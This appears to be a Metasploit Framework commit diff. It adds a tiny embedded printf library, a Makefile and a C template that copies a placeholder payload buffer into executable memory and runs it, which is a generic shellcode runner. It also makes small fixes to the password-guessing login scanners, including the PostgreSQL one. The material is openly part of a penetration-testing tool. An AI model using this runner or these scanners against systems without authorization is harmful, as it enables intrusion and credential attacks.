// output the exponent value
idx = _ntoa_long(out, buffer, idx, maxlen, (expval < 0) ? -expval : expval, expval < 0, 10, 0, minwidth-1, FLAGS_ZEROPAD | FLAGS_PLUS);
// might need to right-pad spaces
if (flags & FLAGS_LEFT) {
while (idx - start_idx < width) out(' ', buffer, idx++, maxlen);
}
}
return idx;
}
#endif // PRINTF_SUPPORT_EXPONENTIAL
#endif // PRINTF_SUPPORT_FLOAT
// internal vsnprintf
static int _vsnprintf(out_fct_type out, char* buffer, const size_t maxlen, const char* format, va_list va)
{
unsigned int flags, width, precision, n;
size_t idx = 0U;
if (!buffer) {
// use null output function
out = _out_null;
}
while (*format)
{
// format specifier? %[flags][width][.precision][length]
if (*format != '%') {
// no
out(*format, buffer, idx++, maxlen);
format++;
continue;
}
else {
// yes, evaluate it
format++;
}
// evaluate flags
flags = 0U;
do {
switch (*format) {
case '0': flags |= FLAGS_ZEROPAD; format++; n = 1U; break;
case '-': flags |= FLAGS_LEFT; format++; n = 1U; break;
case '+': flags |= FLAGS_PLUS; format++; n = 1U; break;
case ' ': flags |= FLAGS_SPACE; format++; n = 1U; break;
case '#': flags |= FLAGS_HASH; format++; n = 1U; break;
default : n = 0U; break;
}
} while (n);
// evaluate width field
width = 0U;
if (_is_digit(*format)) {
width = _atoi(&format);
}
else if (*format == '*') {
const int w = va_arg(va, int);
if (w < 0) {
flags |= FLAGS_LEFT; // reverse padding
width = (unsigned int)-w;
}
else {
width = (unsigned int)w;
}
format++;
}
// evaluate precision field
precision = 0U;
if (*format == '.') {
flags |= FLAGS_PRECISION;
format++;
if (_is_digit(*format)) {
precision = _atoi(&format);
}
else if (*format == '*') {
const int prec = (int)va_arg(va, int);
precision = prec > 0 ? (unsigned int)prec : 0U;
format++;
}
}
// evaluate length field
switch (*format) {
case 'l' :
flags |= FLAGS_LONG;
format++;
if (*format == 'l') {
flags |= FLAGS_LONG_LONG;
format++;
}
break;
case 'h' :
flags |= FLAGS_SHORT;
format++;
if (*format == 'h') {
flags |= FLAGS_CHAR;
format++;
}
break;
#if defined(PRINTF_SUPPORT_PTRDIFF_T)
case 't' :
flags |= (sizeof(ptrdiff_t) == sizeof(long) ? FLAGS_LONG : FLAGS_LONG_LONG);
format++;
break;
#endif
case 'j' :
flags |= (sizeof(intmax_t) == sizeof(long) ? FLAGS_LONG : FLAGS_LONG_LONG);
format++;
break;
case 'z' :
flags |= (sizeof(size_t) == sizeof(long) ? FLAGS_LONG : FLAGS_LONG_LONG);
format++;
break;
default :
break;
}
// evaluate specifier
switch (*format) {
case 'd' :
case 'i' :
case 'u' :
case 'x' :
case 'X' :
case 'o' :
case 'b' : {
// set the base
unsigned int base;
if (*format == 'x' || *format == 'X') {
base = 16U;
}
else if (*format == 'o') {
base = 8U;
}
else if (*format == 'b') {
base = 2U;
}
else {
base = 10U;
flags &= ~FLAGS_HASH; // no hash for dec format
}
// uppercase
if (*format == 'X') {
flags |= FLAGS_UPPERCASE;
}
// no plus or space flag for u, x, X, o, b
if ((*format != 'i') && (*format != 'd')) {
flags &= ~(FLAGS_PLUS | FLAGS_SPACE);
}
// ignore '0' flag when precision is given
if (flags & FLAGS_PRECISION) {
flags &= ~FLAGS_ZEROPAD;
}
// convert the integer
if ((*format == 'i') || (*format == 'd')) {
// signed
if (flags & FLAGS_LONG_LONG) {
#if defined(PRINTF_SUPPORT_LONG_LONG)
const long long value = va_arg(va, long long);
idx = _ntoa_long_long(out, buffer, idx, maxlen, (unsigned long long)(value > 0 ? value : 0 - value), value < 0, base, precision, width, flags);
#endif
}
else if (flags & FLAGS_LONG) {
const long value = va_arg(va, long);
idx = _ntoa_long(out, buffer, idx, maxlen, (unsigned long)(value > 0 ? value : 0 - value), value < 0, base, precision, width, flags);
}
else {
const int value = (flags & FLAGS_CHAR) ? (char)va_arg(va, int) : (flags & FLAGS_SHORT) ? (short int)va_arg(va, int) : va_arg(va, int);
idx = _ntoa_long(out, buffer, idx, maxlen, (unsigned int)(value > 0 ? value : 0 - value), value < 0, base, precision, width, flags);
}
}
else {
// unsigned
if (flags & FLAGS_LONG_LONG) {
#if defined(PRINTF_SUPPORT_LONG_LONG)
idx = _ntoa_long_long(out, buffer, idx, maxlen, va_arg(va, unsigned long long), false, base, precision, width, flags);
#endif
}
else if (flags & FLAGS_LONG) {
idx = _ntoa_long(out, buffer, idx, maxlen, va_arg(va, unsigned long), false, base, precision, width, flags);
}
else {
const unsigned int value = (flags & FLAGS_CHAR) ? (unsigned char)va_arg(va, unsigned int) : (flags & FLAGS_SHORT) ? (unsigned short int)va_arg(va, unsigned int) : va_arg(va, unsigned int);
idx = _ntoa_long(out, buffer, idx, maxlen, value, false, base, precision, width, flags);
}
}
format++;
break;
}
#if defined(PRINTF_SUPPORT_FLOAT)
case 'f' :
case 'F' :
if (*format == 'F') flags |= FLAGS_UPPERCASE;
idx = _ftoa(out, buffer, idx, maxlen, va_arg(va, double), precision, width, flags);
format++;
break;
#if defined(PRINTF_SUPPORT_EXPONENTIAL)
case 'e':
case 'E':
case 'g':
case 'G':
if ((*format == 'g')||(*format == 'G')) flags |= FLAGS_ADAPT_EXP;
if ((*format == 'E')||(*format == 'G')) flags |= FLAGS_UPPERCASE;
idx = _etoa(out, buffer, idx, maxlen, va_arg(va, double), precision, width, flags);
format++;
break;
#endif // PRINTF_SUPPORT_EXPONENTIAL
#endif // PRINTF_SUPPORT_FLOAT
case 'c' : {
unsigned int l = 1U;
// pre padding
if (!(flags & FLAGS_LEFT)) {
while (l++ < width) {
out(' ', buffer, idx++, maxlen);
}
}
// char output
out((char)va_arg(va, int), buffer, idx++, maxlen);
// post padding
if (flags & FLAGS_LEFT) {
while (l++ < width) {
out(' ', buffer, idx++, maxlen);
}
}
format++;
break;
}
case 's' : {
const char* p = va_arg(va, char*);
unsigned int l = _strnlen_s(p, precision ? precision : (size_t)-1);
// pre padding
if (flags & FLAGS_PRECISION) {
l = (l < precision ? l : precision);
}
if (!(flags & FLAGS_LEFT)) {
while (l++ < width) {
out(' ', buffer, idx++, maxlen);
}
}
// string output
while ((*p != 0) && (!(flags & FLAGS_PRECISION) || precision--)) {
out(*(p++), buffer, idx++, maxlen);
}
// post padding
if (flags & FLAGS_LEFT) {
while (l++ < width) {
out(' ', buffer, idx++, maxlen);
}
}
format++;
break;
}
case 'p' : {
width = sizeof(void*) * 2U;
flags |= FLAGS_ZEROPAD | FLAGS_UPPERCASE;
#if defined(PRINTF_SUPPORT_LONG_LONG)
const bool is_ll = sizeof(uintptr_t) == sizeof(long long);
if (is_ll) {
idx = _ntoa_long_long(out, buffer, idx, maxlen, (uintptr_t)va_arg(va, void*), false, 16U, precision, width, flags);
}
else {
#endif
idx = _ntoa_long(out, buffer, idx, maxlen, (unsigned long)((uintptr_t)va_arg(va, void*)), false, 16U, precision, width, flags);
#if defined(PRINTF_SUPPORT_LONG_LONG)
}
#endif
format++;
break;
}
case '%' :
out('%', buffer, idx++, maxlen);
format++;
break;
default :
out(*format, buffer, idx++, maxlen);
format++;
break;
}
}
// termination
out((char)0, buffer, idx < maxlen ? idx : maxlen - 1U, maxlen);
// return written chars without terminating \0
return (int)idx;
}
///////////////////////////////////////////////////////////////////////////////
int printf_(const char* format, ...)
{
va_list va;
va_start(va, format);
char buffer[1];
const int ret = _vsnprintf(_out_char, buffer, (size_t)-1, format, va);
va_end(va);
return ret;
}
int sprintf_(char* buffer, const char* format, ...)
{
va_list va;
va_start(va, format);
const int ret = _vsnprintf(_out_buffer, buffer, (size_t)-1, format, va);
va_end(va);
return ret;
}
int snprintf_(char* buffer, size_t count, const char* format, ...)
{
va_list va;
va_start(va, format);
const int ret = _vsnprintf(_out_buffer, buffer, count, format, va);
va_end(va);
return ret;
}
int vprintf_(const char* format, va_list va)
{
char buffer[1];
return _vsnprintf(_out_char, buffer, (size_t)-1, format, va);
}
int vsnprintf_(char* buffer, size_t count, const char* format, va_list va)
{
return _vsnprintf(_out_buffer, buffer, count, format, va);
}
int fctprintf(void (*out)(char character, void* arg), void* arg, const char* format, ...)
{
va_list va;
va_start(va, format);
const out_fct_wrap_type out_fct_wrap = { out, arg };
const int ret = _vsnprintf(_out_fct, (char*)(uintptr_t)&out_fct_wrap, (size_t)-1, format, va);
va_end(va);
return ret;
}
+117
View File
@@ -0,0 +1,117 @@
///////////////////////////////////////////////////////////////////////////////
// \author (c) Marco Paland (info@paland.com)
// 2014-2019, PALANDesign Hannover, Germany
//
// \license The MIT License (MIT)
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// \brief Tiny printf, sprintf and snprintf implementation, optimized for speed on
// embedded systems with a very limited resources.
// Use this instead of bloated standard/newlib printf.
// These routines are thread safe and reentrant.
//
///////////////////////////////////////////////////////////////////////////////
#ifndef _PRINTF_H_
#define _PRINTF_H_
#include <stdarg.h>
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
/**
* Output a character to a custom device like UART, used by the printf() function
* This function is declared here only. You have to write your custom implementation somewhere
* \param character Character to output
*/
void _putchar(char character);
/**
* Tiny printf implementation
* You have to implement _putchar if you use printf()
* To avoid conflicts with the regular printf() API it is overridden by macro defines
* and internal underscore-appended functions like printf_() are used
* \param format A string that specifies the format of the output
* \return The number of characters that are written into the array, not counting the terminating null character
*/
#define printf printf_
int printf_(const char* format, ...);
/**
* Tiny sprintf implementation
* Due to security reasons (buffer overflow) YOU SHOULD CONSIDER USING (V)SNPRINTF INSTEAD!
* \param buffer A pointer to the buffer where to store the formatted string. MUST be big enough to store the output!
* \param format A string that specifies the format of the output
* \return The number of characters that are WRITTEN into the buffer, not counting the terminating null character
*/
#define sprintf sprintf_
int sprintf_(char* buffer, const char* format, ...);
/**
* Tiny snprintf/vsnprintf implementation
* \param buffer A pointer to the buffer where to store the formatted string
* \param count The maximum number of characters to store in the buffer, including a terminating null character
* \param format A string that specifies the format of the output
* \param va A value identifying a variable arguments list
* \return The number of characters that COULD have been written into the buffer, not counting the terminating
* null character. A value equal or larger than count indicates truncation. Only when the returned value
* is non-negative and less than count, the string has been completely written.
*/
#define snprintf snprintf_
#define vsnprintf vsnprintf_
int snprintf_(char* buffer, size_t count, const char* format, ...);
int vsnprintf_(char* buffer, size_t count, const char* format, va_list va);
/**
* Tiny vprintf implementation
* \param format A string that specifies the format of the output
* \param va A value identifying a variable arguments list
* \return The number of characters that are WRITTEN into the buffer, not counting the terminating null character
*/
#define vprintf vprintf_
int vprintf_(const char* format, va_list va);
/**
* printf with output function
* You may use this as dynamic alternative to printf() with its fixed _putchar() output
* \param out An output function which takes one character and an argument pointer
* \param arg An argument pointer for user data passed to output function
* \param format A string that specifies the format of the output
* \return The number of characters that are sent to the output function, not counting the terminating null character
*/
int fctprintf(void (*out)(char character, void* arg), void* arg, const char* format, ...);
#ifdef __cplusplus
}
#endif
#endif // _PRINTF_H_
@@ -0,0 +1 @@
template_aarch64_darwin
+20
View File
@@ -0,0 +1,20 @@
.PHONY: templates
CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0
GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS)
GCC_OSX_X64=$(GCC_BASE_OSX) -arch x86_64
GCC_OSX_AARCH64=$(GCC_BASE_OSX) -arch arm64
all: templates
template_aarch64_darwin: template_aarch64_darwin.c
$(GCC_OSX_AARCH64) -o $@ $^
strip $@
templates: template_aarch64_darwin
install: templates
cp template_aarch64_darwin ../../../../../data/templates/template_aarch64_darwin.bin
clean:
rm -f template_aarch64_darwin
@@ -0,0 +1,18 @@
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
char payload[8000] = "PAYLOAD:";
int main() {
void *ptr = mmap(0, sizeof(payload), PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0);
if (ptr == MAP_FAILED) {
return 0;
}
memcpy(ptr, payload, sizeof(payload));
mprotect(ptr, sizeof(payload), PROT_READ | PROT_EXEC);
int (*sc)() = ptr;
sc();
return 0;
}
+2 -2
View File
@@ -89,7 +89,7 @@ module Metasploit
@link_script = opts[:linker_script]
@compile_options = opts[:compile_options]
@opt_lvl = opts[:opt_lvl]
@include_dirs = opts[:include_dirs]
@include_dirs = opts[:include_dirs] || []
@mingw_bin = MINGW_X86
end
@@ -112,7 +112,7 @@ module Metasploit
@link_script = opts[:linker_script]
@compile_options = opts[:compile_options]
@opt_lvl = opts[:opt_lvl]
@include_dirs = opts[:include_dirs]
@include_dirs = opts[:include_dirs] || []
@mingw_bin = MINGW_X64
end
@@ -113,6 +113,7 @@ module Metasploit::Framework
pass_from_file.chomp!
yield Metasploit::Framework::Credential.new(private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
end
pass_fd.seek(0)
end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(private: add_private, realm: realm, private_type: private_type(add_private))
@@ -243,6 +244,7 @@ module Metasploit::Framework
pass_from_file.chomp!
yield Metasploit::Framework::Credential.new(public: username, private: pass_from_file, realm: realm, private_type: private_type(pass_from_file))
end
pass_fd.seek(0)
end
additional_privates.each do |add_private|
yield Metasploit::Framework::Credential.new(public: username, private: add_private, realm: realm, private_type: private_type(add_private))
@@ -251,6 +251,8 @@ module Metasploit
break if total_error_count >= 10
end
end
rescue => e
elog('Attempt may not yield a result', error: e)
end
nil
end
@@ -19,7 +19,7 @@ module Metasploit
REALM_KEY = Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attmpt to login with
# @param credential [Credential] The credential object to attempt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
def attempt_login(credential)
result_options = {
@@ -60,7 +60,7 @@ module Metasploit
proof: e.message
})
end
rescue Rex::ConnectionError, EOFError, Timeout::Error => e
rescue Rex::ConnectionError, Rex::ConnectionProxyError, Errno::ECONNRESET, Errno::EINTR, Errno::ENOTCONN, Rex::TimeoutError, EOFError, Timeout::Error => e
result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
rescue Msf::Db::PostgresPR::AuthenticationMethodMismatch => e
result_options.merge!({
@@ -159,8 +159,9 @@ module Metasploit
yield result if block_given?
end
shutdown_socket
nil
ensure
shutdown_socket
end
# Queue up and possibly send any requests, based on the queue limit and final flag

Some files were not shown because too many files have changed in this diff Show More